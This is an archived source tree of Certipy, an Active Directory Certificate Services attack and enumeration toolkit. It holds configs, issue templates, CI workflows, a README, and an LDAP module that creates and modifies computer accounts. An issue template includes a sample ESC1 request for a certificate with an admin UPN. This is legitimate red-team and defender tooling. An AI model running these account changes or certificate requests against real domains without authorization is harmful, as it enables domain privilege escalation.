pax_global_header00006660000000000000000000000064152165746650014533gustar00rootroot0000000000000052 comment=e916eefe46f4e493d6bde3f0a7b4c42ea8384cde Certipy-5.1.0/000077500000000000000000000000001521657466500131555ustar00rootroot00000000000000Certipy-5.1.0/.flake8000066400000000000000000000001451521657466500143300ustar00rootroot00000000000000[flake8] max-line-length = 88 ; extend-ignore = E203, W503 # Ignore conflicts with black select = N Certipy-5.1.0/.github/000077500000000000000000000000001521657466500145155ustar00rootroot00000000000000Certipy-5.1.0/.github/FUNDING.yml000066400000000000000000000000161521657466500163270ustar00rootroot00000000000000github: [ly4k]Certipy-5.1.0/.github/ISSUE_TEMPLATE/000077500000000000000000000000001521657466500167005ustar00rootroot00000000000000Certipy-5.1.0/.github/ISSUE_TEMPLATE/bug_report.yml000066400000000000000000000056321521657466500216010ustar00rootroot00000000000000name: 🐞 Bug Report description: Report an error, crash, or unexpected behavior in Certipy. title: "[Bug] Brief summary of the issue" labels: ["bug"] body: - type: markdown attributes: value: | Thank you for reporting a bug! Please provide **as much information as possible** so we can reproduce and fix the issue quickly. Redact any sensitive data such as passwords, domains, or IPs. - type: input id: certipy_version attributes: label: πŸ”’ Certipy Version description: What version of Certipy are you using? (Output of `certipy -v`) placeholder: e.g., 5.0.0 validations: required: true - type: input id: platform attributes: label: πŸ–₯️ Operating System description: OS and environment you're using placeholder: e.g., Kali Linux 2024.1, Windows 11, Ubuntu 22.04 validations: required: true - type: textarea id: command_used attributes: label: πŸ“₯ Command Used description: Include the full (but redacted) command that triggered the issue render: shell placeholder: | Example: certipy req -u user@redacted.local -p 'REDACTED' -ca CORP-CA -template ESC1 -upn admin@redacted.local validations: required: true - type: textarea id: error_output attributes: label: 🧯 Error Message / Unexpected Output description: Paste any output, error messages, or tracebacks (redacted if needed) render: text placeholder: | Example: Traceback (most recent call last): File "...", line ... Exception: Unable to authenticate... validations: required: true - type: textarea id: find_output attributes: label: πŸ” Relevant `certipy find` Output (abbreviated and redacted) description: If this bug is related to vulnerability detection or escalation, please include redacted highlights from `certipy find`. render: text placeholder: | Certificate Authorities 0 CA Name : CORP-CA DNS Name : CA.CORP.LOCAL Certificate Subject : CN=CORP-CA, DC=CORP, DC=LOCAL Request Disposition : Issue ... Certificate Templates 0 Template Name : ESC1 Display Name : ESC1 Certificate Authorities : CORP-CA Enabled : True Client Authentication : True ... - type: textarea id: expected_behavior attributes: label: βœ… Expected Behavior description: What did you expect to happen instead? - type: textarea id: notes attributes: label: πŸ“Ž Additional Context description: Environment notes, recent updates, workarounds attempted, etc. Certipy-5.1.0/.github/ISSUE_TEMPLATE/config.yml000066400000000000000000000015651521657466500206770ustar00rootroot00000000000000blank_issues_enabled: false contact_links: - name: πŸ“š Certipy Wiki url: https://github.com/ly4k/Certipy/wiki about: Full documentation for usage, ESCs, and AD CS attack paths. - name: πŸ—£οΈ Certipy Discussions url: https://github.com/ly4k/Certipy/discussions about: Ask questions, share ideas, and discuss Certipy with the community. issue_templates: - name: 🐞 Bug Report description: Report an error, crash, or unexpected behavior in Certipy. labels: ["bug", "triage"] file: bug_report.yml - name: πŸ™‹ Help / Usage Question description: Ask for help with setup, usage, or general questions about Certipy or AD CS attacks. labels: ["help wanted"] file: help_request.yml - name: ✨ Feature Request description: Suggest a new feature or improvement to Certipy. labels: ["enhancement"] file: feature_request.yml Certipy-5.1.0/.github/ISSUE_TEMPLATE/feature_request.yml000066400000000000000000000033721521657466500226330ustar00rootroot00000000000000name: ✨ Feature Request description: Suggest a new feature, enhancement, or quality-of-life improvement for Certipy. title: "[Feature] Brief description of the feature" labels: ["enhancement"] body: - type: markdown attributes: value: | Thank you for suggesting a new feature for Certipy! Please describe your idea clearly so it can be evaluated and discussed by the community. - type: textarea id: feature_description attributes: label: ✨ Feature Description description: What would you like Certipy to do that it doesn't currently do? placeholder: | Example: I'd like Certipy to be able to extract EKUs directly from a PFX file and show them clearly when listing issued certs. validations: required: true - type: textarea id: motivation attributes: label: πŸš€ Why is this feature important? description: How would this feature improve your workflow or Certipy's usefulness? placeholder: | - Saves time during post-exploitation enumeration - Avoids needing to decode certs manually with OpenSSL or other tools validations: required: true - type: textarea id: alternatives attributes: label: πŸ”„ Alternatives or Workarounds description: Are there other ways you're currently achieving this, or related tools that already do it? placeholder: | - Right now I'm exporting the cert with OpenSSL and parsing it manually. - type: textarea id: additional_context attributes: label: πŸ“Ž Additional Context or Mockups description: Include examples, CLI suggestions, related issues, or rough pseudocode if helpful. placeholder: | Suggested CLI: certipy show -pfx mycert.pfx Certipy-5.1.0/.github/ISSUE_TEMPLATE/help_request.yml000066400000000000000000000057071521657466500221340ustar00rootroot00000000000000name: πŸ™‹ General Help / Usage Question description: Ask for help with Certipy usage, understanding output, setup issues, or general AD CS abuse questions. title: "[Help] Describe your question or topic" labels: ["help wanted"] body: - type: markdown attributes: value: | Thanks for reaching out! This template is for **general usage questions**, troubleshooting help, and clarification requests. > Please redact any sensitive information like domain names, IPs, usernames, or passwords. - type: input id: certipy_version attributes: label: πŸ”’ Certipy Version description: What version of Certipy are you using? (Output of `certipy -v`) placeholder: e.g., 5.0.0 - type: input id: platform attributes: label: πŸ–₯️ Operating System description: What platform or environment are you using Certipy on? placeholder: e.g., Kali Linux, Windows 11, Ubuntu 22.04 - type: textarea id: question_summary attributes: label: ❓ Question / Problem Summary description: What are you trying to understand, figure out, or solve? placeholder: | Example: I'm confused about how SANs affect authentication in AD CS. When would you use `-upn` vs. `-dns` in a request? validations: required: true - type: textarea id: context attributes: label: 🧠 Background / What You've Tried description: Share any relevant context, what you've already attempted, and where you're stuck. placeholder: | - I've read the wiki and ESC1 makes sense, but I'm unclear on how ESC9 interacts with SID extensions. - I'm using the default AD CS config in a test lab with a single CA. - type: textarea id: find_output attributes: label: πŸ” Relevant `certipy find` Output (abbreviated and redacted) description: If this bug is related to vulnerability detection or escalation, please include redacted highlights from `certipy find`. render: text placeholder: | Certificate Authorities 0 CA Name : CORP-CA DNS Name : CA.CORP.LOCAL Certificate Subject : CN=CORP-CA, DC=CORP, DC=LOCAL Request Disposition : Issue ... Certificate Templates 0 Template Name : ESC1 Display Name : ESC1 Certificate Authorities : CORP-CA Enabled : True Client Authentication : True ... - type: textarea id: other_notes attributes: label: πŸ“Ž Other Notes or Related Tools description: Anything else that might help us understand your environment or question better? placeholder: | - Using Kerberos-only auth in the lab. - CA is patched as of March 2025. Certipy-5.1.0/.github/workflows/000077500000000000000000000000001521657466500165525ustar00rootroot00000000000000Certipy-5.1.0/.github/workflows/code-quality.yml000066400000000000000000000023651521657466500217030ustar00rootroot00000000000000name: Code Quality Check on: pull_request: branches: - main push: branches: - main jobs: lint: name: Lint & Type Check runs-on: ubuntu-latest steps: - name: Checkout repository uses: actions/checkout@v4 - name: Set up Python uses: actions/setup-python@v4 with: python-version: '3.12' - name: Install Python dependencies run: | python -m pip install --upgrade pip pip install black isort pyright flake8 pep8-naming - name: Install Certipy run: | pip install -e .[bloodhound] - name: Lint with flake8 (style and naming) run: | flake8 ./certipy || (echo 'flake8 found issues. Run it locally with `flake8 .`' && exit 1) - name: Check import order with isort (black-compatible) run: | isort . --check-only || (echo 'isort found issues. Run `isort .` to fix.' && exit 1) - name: Check formatting with black run: | black . --check || (echo 'black found formatting issues. Run `black .` to fix.' && exit 1) - name: Type check with pyright run: | pyright . || (echo 'pyright found type issues. Run `pyright .` to fix.' && exit 1) Certipy-5.1.0/.github/workflows/python-publish.yml000066400000000000000000000013151521657466500222620ustar00rootroot00000000000000name: Publish to PyPI on: release: types: [published] workflow_dispatch: # Allow manual trigger jobs: build-and-publish: name: Build and Publish runs-on: ubuntu-latest steps: - name: Checkout code uses: actions/checkout@v4 - name: Set up Python uses: actions/setup-python@v5 with: python-version: '3.12' - name: Install build dependencies run: | python -m pip install --upgrade pip pip install build - name: Build package run: python -m build - name: Publish to PyPI uses: pypa/gh-action-pypi-publish@release/v1 with: password: ${{ secrets.PYPI_API_TOKEN }} Certipy-5.1.0/.github/workflows/release.yml000066400000000000000000000036741521657466500207270ustar00rootroot00000000000000name: Build and Release Executable on: release: types: [created] workflow_dispatch: # Allows manual triggering jobs: build: runs-on: windows-latest # Use a Windows runner to build the .exe steps: - name: Checkout repository uses: actions/checkout@v4 - name: Set up Python uses: actions/setup-python@v5 with: python-version: '3.12' # Match the python version from your pyproject.toml - name: Install dependencies run: | python -m pip install --upgrade pip pip install pyinstaller wheel pip install -e . # Install project dependencies from pyproject.toml in editable mode - name: Build executable with PyInstaller run: pyinstaller.exe .\\Certipy.spec --noconfirm - name: Get Release Upload URL id: get_release_info uses: actions/github-script@v7 env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} with: script: | // If the trigger is a new release, use its upload URL if (context.eventName === 'release') { core.setOutput('upload_url', context.payload.release.upload_url); return; } // If triggered manually, find the latest release const { data: release } = await github.rest.repos.getLatestRelease({ owner: context.repo.owner, repo: context.repo.repo }); if (release) { core.setOutput('upload_url', release.upload_url); } else { core.setFailed('Could not find the latest release to attach the asset to.'); } - name: Upload Release Asset uses: actions/upload-release-asset@v1 env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} with: upload_url: ${{ steps.get_release_info.outputs.upload_url }} asset_path: .\\dist\\Certipy.exe asset_name: Certipy.exe asset_content_type: application/vnd.microsoft.portable-executableCertipy-5.1.0/.github/workflows/sponsors.yml000066400000000000000000000006241521657466500211650ustar00rootroot00000000000000name: Update Sponsors on: workflow_dispatch: schedule: - cron: "0 0 * * *" # runs daily at midnight UTC permissions: contents: write jobs: update-sponsors: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: JamesIves/github-sponsors-readme-action@v1 with: token: ${{ secrets.PAT }} - uses: stefanzweifel/git-auto-commit-action@v5Certipy-5.1.0/.github/workflows/stale.yml000066400000000000000000000014331521657466500204060ustar00rootroot00000000000000name: Close stale issues on: schedule: - cron: "0 2 * * *" # Runs every day at 2 AM UTC workflow_dispatch: # Allow manual trigger jobs: stale: runs-on: ubuntu-latest steps: - uses: actions/stale@v9 with: repo-token: ${{ secrets.GITHUB_TOKEN }} stale-issue-message: "This issue has been automatically marked as stale due to inactivity. It will be closed in 7 days if no further activity occurs." close-issue-message: "Closing this issue due to prolonged inactivity." days-before-stale: 30 days-before-close: 7 any-of-labels: help wanted,not planned,wontfix,duplicate,invalid,out of scope,discussion needed,cannot reproduce,needs more info,not a bug exempt-issue-labels: pinned,keep open Certipy-5.1.0/.gitignore000066400000000000000000000053511521657466500151510ustar00rootroot00000000000000# Byte-compiled / optimized / DLL files __pycache__/ *.py[cod] *$py.class # C extensions *.so # Distribution / packaging .Python build/ develop-eggs/ dist/ downloads/ eggs/ .eggs/ lib64/ parts/ sdist/ var/ wheels/ share/python-wheels/ *.egg-info/ .installed.cfg *.egg MANIFEST # PyInstaller # Usually these files are written by a python script from a template # before PyInstaller builds the exe, so as to inject date/other infos into it. *.manifest # Installer logs pip-log.txt pip-delete-this-directory.txt # Unit test / coverage reports htmlcov/ .tox/ .nox/ .coverage .coverage.* .cache nosetests.xml coverage.xml *.cover *.py,cover .hypothesis/ .pytest_cache/ cover/ # Translations *.mo *.pot # Django stuff: *.log local_settings.py db.sqlite3 db.sqlite3-journal # Flask stuff: instance/ .webassets-cache # Scrapy stuff: .scrapy # Sphinx documentation docs/_build/ # PyBuilder .pybuilder/ target/ # Jupyter Notebook .ipynb_checkpoints # IPython profile_default/ ipython_config.py # pyenv # For a library or package, you might want to ignore these files since the code is # intended to run in multiple environments; otherwise, check them in: # .python-version # pipenv # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. # However, in case of collaboration, if having platform-specific dependencies or dependencies # having no cross-platform support, pipenv may install dependencies that don't work, or not # install all needed dependencies. #Pipfile.lock # poetry # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. # This is especially recommended for binary packages to ensure reproducibility, and is more # commonly ignored for libraries. # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control #poetry.lock # PEP 582; used by e.g. github.com/David-OConnor/pyflow __pypackages__/ # Celery stuff celerybeat-schedule celerybeat.pid # SageMath parsed files *.sage.py # Environments .env .venv env/ venv/ ENV/ env.bak/ venv.bak/ # Spyder project settings .spyderproject .spyproject # Rope project settings .ropeproject # mkdocs documentation /site # mypy .mypy_cache/ .dmypy.json dmypy.json # Pyre type checker .pyre/ # pytype static type analyzer .pytype/ # Cython debug symbols cython_debug/ # PyCharm # JetBrains specific template is maintainted in a separate JetBrains.gitignore that can # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore # and can be added to the global gitignore or merged into this file. For a more nuclear # option (not recommended) you can uncomment the following to ignore the entire idea folder. #.idea/ testing/ *_Certipy.* *.pfx *.pem *.ccacheCertipy-5.1.0/CONTRIBUTING.md000066400000000000000000000052101521657466500154040ustar00rootroot00000000000000# 🀝 Contributing to Certipy Thank you for your interest in contributing to **Certipy**! Whether you're reporting a bug, improving documentation, or submitting a pull request - your help is appreciated. --- ## πŸ“‹ Issues Please use the appropriate issue template when opening a new issue: - 🐞 **Bug Reports**: Include the version, OS, the exact command used (redacted if needed), error output, and any relevant `certipy find` info. - πŸ™‹ **Help Requests**: For general questions or clarification on usage, not tied to a specific error. - ✨ **Feature Requests**: Describe the feature, your use case, and any alternatives or examples. πŸ‘‰ Issue templates will guide you when you [open an issue](https://github.com/ly4k/Certipy/issues/new/choose). --- ## πŸ§‘β€πŸ’» Code Contributions ### 🧼 Code Style Certipy uses: - [`black`](https://black.readthedocs.io/) for code formatting - [`isort`](https://pycqa.github.io/isort/) for import sorting (configured for black compatibility) - [`pyright`](https://github.com/microsoft/pyright) for type checking - [`flake8`](https://flake8.pycqa.org/en/latest/) for linting ### πŸ›  Development Setup ```bash # Setup virtual environment python3 -m venv venv source venv/bin/activate # Install dev dependencies pip install -e . pip install black isort pyright flake8 pep8-naming ```` ### πŸ” Code Quality Checks (before committing) ```bash flake8 ./certipy && isort . && black . && pyright ``` --- ## βœ… Submitting Pull Requests 1. Fork the repo and create a branch: `git checkout -b feature/my-feature-name` 2. Follow the coding standards above 3. Keep PRs small and focused 4. Include a brief description of **why** the change is useful 5. Link to any relevant issues (e.g., `Fixes #123`) 6. Run tests (if applicable) 7. Explain how to test the changes, setting up the environment, and any dependencies 8. Submit your PR for review! --- ## πŸ“˜ Contributing to the Wiki You can help improve the documentation! To do so: - Clone the wiki repo directly: ```bash git clone https://github.com/ly4k/Certipy.wiki.git ``` - Make your changes in `*.md` files (e.g., `ESC1.md`, `Home.md`) - Submit a pull request or send a patch if you're not a collaborator - Use Markdown preview tools (like VSCode or `grip`) to review your changes > [!TIP] > For private drafts, maintain a local folder or branch and sync it later to the public `.wiki.git`. --- ## πŸ’¬ Need Help? Feel free to open a [Help Request](https://github.com/ly4k/Certipy/issues/new/choose) - just be clear about what you’re trying to accomplish and what you’ve tried. --- Thanks again for supporting Certipy! – [@ly4k](https://github.com/ly4k) Certipy-5.1.0/Certipy.spec000066400000000000000000000032331521657466500154510ustar00rootroot00000000000000# -*- mode: python ; coding: utf-8 -*- from PyInstaller.utils.hooks import collect_all block_cipher = None # --- List all dependencies from pyproject.toml --- packages_to_collect = [ 'certipy', 'asn1crypto', 'cryptography', 'impacket', 'ldap3', 'pyasn1', 'dnspython', 'requests', 'pycryptodome', 'beautifulsoup4', 'httpx', 'argcomplete', ] # --- Use collect_all to find all necessary files and imports for each package --- datas, binaries, hiddenimports = [], [], [] for package in packages_to_collect: try: pkg_datas, pkg_binaries, pkg_hiddenimports = collect_all(package) datas.extend(pkg_datas) binaries.extend(pkg_binaries) hiddenimports.extend(pkg_hiddenimports) except Exception as e: print(f"Could not collect all from {package}: {e}") a = Analysis( ['certipy\\entry.py'], pathex=[], binaries=binaries, datas=datas, hiddenimports=hiddenimports, hookspath=[], hooksconfig={}, runtime_hooks=[], excludes=[], win_no_prefer_redirects=False, win_private_assemblies=False, cipher=block_cipher, noarchive=False, ) pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher) exe = EXE( pyz, a.scripts, a.binaries, a.zipfiles, a.datas, [], name='Certipy', debug=False, bootloader_ignore_signals=False, strip=False, upx=True, upx_exclude=[], runtime_tmpdir=None, console=True, disable_windowed_traceback=False, argv_emulation=False, target_arch=None, codesign_identity=None, entitlements_file=None, ) Certipy-5.1.0/LICENSE000066400000000000000000000020451521657466500141630ustar00rootroot00000000000000MIT License Copyright (c) 2021 ly4k Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Certipy-5.1.0/README.md000066400000000000000000000060361521657466500144410ustar00rootroot00000000000000# Certipy - AD CS Attack & Enumeration Toolkit [![PyPI version](https://img.shields.io/pypi/v/certipy-ad?v5.0.3)](https://pypi.org/project/certipy-ad/) ![Python](https://img.shields.io/badge/python-3.12+-blue.svg) ![License](https://img.shields.io/github/license/ly4k/Certipy) **Certipy** is a powerful offensive and defensive toolkit for enumerating and abusing Active Directory Certificate Services (AD CS). It helps red teamers, penetration testers, and defenders assess AD CS misconfigurations - including full support for identifying and exploiting all known **ESC1-ESC16** attack paths. > [!WARNING] > Use only in environments where you have explicit authorization. Unauthorized use may be illegal. --- ## πŸ” Features * πŸ”Ž Discover Certificate Authorities and Templates * 🚩 Identify misconfigurations * πŸ” Request and forge certificates * 🎭 Perform authentication using certificates * πŸ“‘ Relay NTLM authentication to AD CS HTTP(S)/RPC endpoints * πŸ—οΈ Support for Shadow Credentials, Golden Certificates, and Certificate Mapping Attacks * 🧰 And much more! --- ## πŸ“š Full Wiki & Documentation Read the full **step-by-step usage guide**, including installation, vulnerability explanations, examples, and mitigations in the [πŸ“˜ Certipy Wiki](https://github.com/ly4k/Certipy/wiki). --- ## βš™οΈ Installation See the [Installation Guide](https://github.com/ly4k/Certipy/wiki/04-%E2%80%90-Installation) for instructions on how to install Certipy. --- ## πŸš€ Quick Start See the [Quick Start Guide](https://github.com/ly4k/Certipy/wiki/05-%E2%80%90-Usage) for a quick overview of the most common commands and usage examples. --- ## 🎯 Supported AD CS Vulnerabilities Certipy supports detection and exploitation of AD CS vulnerabilities across the full range of ESC1-ESC16. For detailed explanations and exploitation steps, refer to the [Certipy Wiki](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation). --- ## πŸ“Ž Resources See the [Resources](https://github.com/ly4k/Certipy/wiki/03-%E2%80%90-Resources) for selection of key resources related to AD CS security. --- ## 🀝 Contributing Contributions are welcome! See [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines on reporting issues, improving documentation, or submitting pull requests. --- ## 🌟 Sponsors Thanks to these generous sponsors for supporting the development of this project. Your contributions help sustain ongoing work and improvements. User avatar: Henri SaloUser avatar: mxrch --- ## πŸ‘€ Author Developed by [@ly4k](https://github.com/ly4k), with valuable contributions from the community. --- ## πŸ“˜ Wiki πŸ“– Visit the [**Certipy Wiki**](https://github.com/ly4k/Certipy/wiki) for detailed documentation, usage examples, ESC vulnerability breakdowns, and mitigation advice. Certipy-5.1.0/certipy/000077500000000000000000000000001521657466500146345ustar00rootroot00000000000000Certipy-5.1.0/certipy/__init__.py000066400000000000000000000000001521657466500167330ustar00rootroot00000000000000Certipy-5.1.0/certipy/commands/000077500000000000000000000000001521657466500164355ustar00rootroot00000000000000Certipy-5.1.0/certipy/commands/__init__.py000066400000000000000000000000001521657466500205340ustar00rootroot00000000000000Certipy-5.1.0/certipy/commands/account.py000077500000000000000000000322211521657466500204460ustar00rootroot00000000000000""" Active Directory Account Management Module for Certipy. This module provides CRUD (Create, Read, Update, Delete) operations for Active Directory accounts, primarily focusing on computer accounts. It allows: - Creating new computer accounts - Reading account attributes - Updating account properties (password, SPNs, DNS names, etc.) - Deleting accounts These operations are performed via LDAP and require appropriate permissions in the domain. """ import argparse import random import string from typing import Any, Dict, List, Optional, Tuple import ldap3 from ldap3.core.results import ( RESULT_INSUFFICIENT_ACCESS_RIGHTS, RESULT_UNWILLING_TO_PERFORM, ) from certipy.lib.formatting import pretty_print from certipy.lib.ldap import LDAPConnection from certipy.lib.logger import logging from certipy.lib.target import Target class Account: """ Active Directory account management class. This class provides methods to create, read, update, and delete Active Directory accounts, with a focus on computer accounts which can be used for various authentication scenarios. """ def __init__( self, target: Target, user: str, dns: Optional[str] = None, upn: Optional[str] = None, sam: Optional[str] = None, spns: Optional[str] = None, passw: Optional[str] = None, group: Optional[str] = None, connection: Optional[LDAPConnection] = None, timeout: int = 5, **kwargs, # type: ignore ): """ Initialize account management with target and account options. Args: target: Target environment information (domain, credentials) user: Username for the account to manage dns: DNS hostname for the account upn: UserPrincipalName to set sam: sAMAccountName to set spns: Service Principal Names to set (comma-separated) passw: Password for the account group: Distinguished name of the group to place the account in scheme: LDAP connection scheme (ldap or ldaps) connection: Existing LDAP connection to reuse timeout: Connection timeout in seconds **kwargs: Additional arguments """ self.target = target self.user = user self.dns = dns self.upn = upn self.sam = sam self.spns = spns self.password = passw self.group = group self._connection = connection self.timeout = timeout self.kwargs = kwargs @property def connection(self) -> LDAPConnection: """ Get or establish an LDAP connection to the target. Returns: Active LDAP connection """ if self._connection is not None: return self._connection self._connection = LDAPConnection(self.target) self._connection.connect() return self._connection def create(self) -> bool: """ Create a new computer account in Active Directory. This method creates a computer account with the specified properties, or with reasonable defaults if not provided. Returns: True if account creation succeeded, False otherwise """ # Determine username (sAMAccountName) username = self.user if self.sam is not None: logging.warning( "The parameter -sam overrides the -user parameter for the create operation" ) res = input("Do you want to continue? (Y/n): ") if res.strip().lower() == "n": return False username = self.sam # Check if user already exists user = self.connection.get_user(username, silent=True) if user is not None: logging.error( f"User {user.get('sAMAccountName')!r} already exists. " f"If you want to update the user, specify the 'update' action" ) return False # Set container group for the account group = self.group if group is None: group = f"CN=Computers,{self.connection.default_path}" # Ensure computer account name ends with $ if username[-1] != "$": username += "$" # Generate random password if not provided password = self.password if password is None: password = "".join( random.choice(string.ascii_letters + string.digits) for _ in range(16) ) self.password = password # Set DNS hostname if not provided dns = self.dns if dns is None: dns = f"{username.rstrip('$')}.{self.connection.domain}".lower() # Create DN for the new account hostname = username[:-1] dn = f"CN={hostname},{group}" # Set default SPNs if not provided spns = self.spns if spns is None: base_name = username.rstrip("$") spns = [ f"HOST/{base_name}", f"RestrictedKrbHost/{base_name}", ] else: spns = [spn.strip() for spn in spns.split(",") if spn.strip()] # Prepare account attributes attributes: Dict[str, Any] = { "sAMAccountName": username, "unicodePwd": password, # Just for the pretty print "userAccountControl": 0x1000, # WORKSTATION_TRUST_ACCOUNT "servicePrincipalName": spns, "dnsHostName": dns, } logging.info("Creating new account:") pretty_print(attributes, indent=2) # Convert password to proper format for LDAP attributes["unicodePwd"] = ('"%s"' % password).encode("utf-16-le") # Add the account via LDAP result = self.connection.add( dn, ["top", "person", "organizationalPerson", "user", "computer"], attributes, ) # Handle result if result["result"] == 0: logging.info( f"Successfully created account {username!r} with password {password!r}" ) return True elif result["result"] == RESULT_INSUFFICIENT_ACCESS_RIGHTS: logging.error( f"User {self.target.username!r} doesn't have the right to create a machine account" ) elif ( result["result"] == RESULT_UNWILLING_TO_PERFORM and int(result["message"].split(":")[0].strip(), 16) == 0x216D ): logging.error( f"Machine account quota exceeded for {self.target.username!r}" ) else: logging.error( f"Received error: ({result['description']}) {result['message']}" ) return False def read(self) -> bool: """ Read and display account attributes. This method retrieves and displays key attributes of the specified account. Returns: True if account was found and attributes read, False otherwise """ # Get user object user = self.connection.get_user(self.user) if user is None: return False # Define attributes to display attributes = [ "cn", "distinguishedName", "name", "objectSid", "sAMAccountName", "dNSHostName", "servicePrincipalName", "userPrincipalName", "userAccountControl", "whenCreated", "whenChanged", ] # Collect attribute values attribute_values = {} logging.info(f"Reading attributes for {user.get('sAMAccountName')!r}:") for attribute in attributes: value = user.get(attribute) if value is not None: attribute_values[attribute] = value # Display attributes pretty_print(attribute_values, indent=2) return True def update(self) -> bool: """ Update an existing account's attributes. This method modifies specified attributes of an existing account. Returns: True if account was successfully updated, False otherwise """ # Get user object user = self.connection.get_user(self.user) if user is None: return False # Prepare attribute changes changes: Dict[str, List[Tuple[Any, Any]]] = {} changes_formatted: Dict[str, Any] = {} # Define which attributes to update based on provided parameters attribute_mapping = { "unicodePwd": self.password, "dNSHostName": self.dns, "userPrincipalName": self.upn, "sAMAccountName": self.sam, "servicePrincipalName": ( [spn.strip() for spn in self.spns.split(",") if spn.strip()] if self.spns is not None else None ), } # Process each attribute that needs to be updated for attribute, value in attribute_mapping.items(): if value is None: continue if value == "" or (isinstance(value, list) and len(value) == 0): # Delete the attribute changes[attribute] = [(ldap3.MODIFY_DELETE, [])] changes_formatted[attribute] = "*DELETED*" else: # Replace the attribute with new value if attribute == "unicodePwd": # Special handling for password encoded_value = ('"%s"' % value).encode("utf-16-le") changes_formatted[attribute] = value # Show plaintext in output else: if isinstance(value, list): encoded_value = value else: encoded_value = [value] # LDAP expects lists for attributes changes_formatted[attribute] = value changes[attribute] = [(ldap3.MODIFY_REPLACE, encoded_value)] if not changes: logging.warning(f"No changes specified for {user.get('sAMAccountName')!r}") return False logging.info(f"Updating user {user.get('sAMAccountName')!r}:") pretty_print(changes_formatted, indent=2) # Apply changes via LDAP result = self.connection.modify( user.get("distinguishedName"), changes, ) # Handle result if result["result"] == 0: logging.info(f"Successfully updated {user.get('sAMAccountName')!r}") return True elif result["result"] == RESULT_INSUFFICIENT_ACCESS_RIGHTS: logging.error( f"User {self.target.username!r} doesn't have permission to update " f"these attributes on {user.get('sAMAccountName')!r}" ) else: logging.error(f"Received error: {result['message']}") return False def delete(self) -> bool: """ Delete an account from Active Directory. This method permanently removes the specified account. Returns: True if account was successfully deleted, False otherwise """ # Get user object user = self.connection.get_user(self.user) if user is None: return False # Confirm deletion account_name = user.get("sAMAccountName") logging.warning(f"You are about to delete {account_name!r}") res = input("Are you sure? (y/N): ") if res.strip().lower() != "y": logging.info("Deletion canceled") return False # Delete account via LDAP result = self.connection.delete(user.get("distinguishedName")) # Handle result if result["result"] == 0: logging.info(f"Successfully deleted {account_name!r}") return True elif result["result"] == RESULT_INSUFFICIENT_ACCESS_RIGHTS: logging.error( f"User {self.target.username!r} doesn't have permission to delete {account_name!r}" ) else: logging.error(f"Received error: {result['message']}") return False def entry(options: argparse.Namespace) -> None: """ Entry point for the 'account' command. This function creates the Account object and dispatches to the appropriate method based on the specified action. Args: options: Command line options """ # Create target from command line options target = Target.from_options(options, dc_as_target=True) options.__delattr__("target") # Create account manager account = Account(target, **vars(options)) # Map actions to methods actions = { "create": account.create, "read": account.read, "update": account.update, "delete": account.delete, } # Validate action if options.account_action not in actions: logging.error(f"Unknown action: {options.account_action}") logging.info(f"Available actions: {', '.join(actions.keys())}") return # Execute the requested action result = actions[options.account_action]() # Set exit code based on result if result is False: import sys sys.exit(1) Certipy-5.1.0/certipy/commands/auth.py000077500000000000000000001026731521657466500177640ustar00rootroot00000000000000""" Kerberos PKINIT and Schannel Authentication Module for Certipy. This module provides functionality for certificate-based Kerberos authentication: - PKINIT authentication using certificates - NT hash extraction via Kerberos U2U - LDAPS (Schannel) authentication using certificates - Interactive LDAP shell It supports various authentication workflows for penetration testing and security assessments. """ import argparse import base64 import datetime import sys from random import getrandbits from typing import Any, Optional, Union from asn1crypto import cms, core from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives.asymmetric.types import PrivateKeyTypes from impacket.dcerpc.v5.rpcrt import TypeSerialization1 from impacket.examples.ldap_shell import LdapShell as _LdapShell from impacket.krb5 import constants from impacket.krb5.asn1 import ( AD_IF_RELEVANT, AP_REQ, AS_REP, TGS_REP, TGS_REQ, Authenticator, EncASRepPart, EncTicketPart, ) from impacket.krb5.asn1 import Ticket as TicketAsn1 from impacket.krb5.asn1 import ( seq_set, seq_set_iter, ) from impacket.krb5.ccache import CCache from impacket.krb5.crypto import Key, _enctype_table from impacket.krb5.kerberosv5 import KerberosError, sendReceive from impacket.krb5.pac import ( NTLM_SUPPLEMENTAL_CREDENTIAL, PAC_CREDENTIAL_DATA, PAC_CREDENTIAL_INFO, PAC_INFO_BUFFER, PACTYPE, ) from impacket.krb5.types import KerberosTime, Principal, Ticket from pyasn1.codec.der import decoder, encoder from pyasn1.type.univ import noValue from certipy.lib.certificate import ( cert_id_to_parts, get_identities_from_certificate, get_object_sid_from_certificate, hash_digest, hashes, load_pfx, print_certificate_authentication_information, x509, ) from certipy.lib.errors import KRB5_ERROR_MESSAGES, handle_error from certipy.lib.files import try_to_save_file from certipy.lib.ldap import LDAPConnection from certipy.lib.logger import logging from certipy.lib.pkinit import build_pkinit_as_req from certipy.lib.structs import EncType, KDCDHKeyInfo, PaPkAsRep, e2i from certipy.lib.target import Target class LdapShell(_LdapShell): """ Enhanced LDAP shell for interactive administration. This shell provides a command-line interface for interacting with LDAP after successfully authenticating with a certificate. """ def __init__(self, tcp_shell: Any, 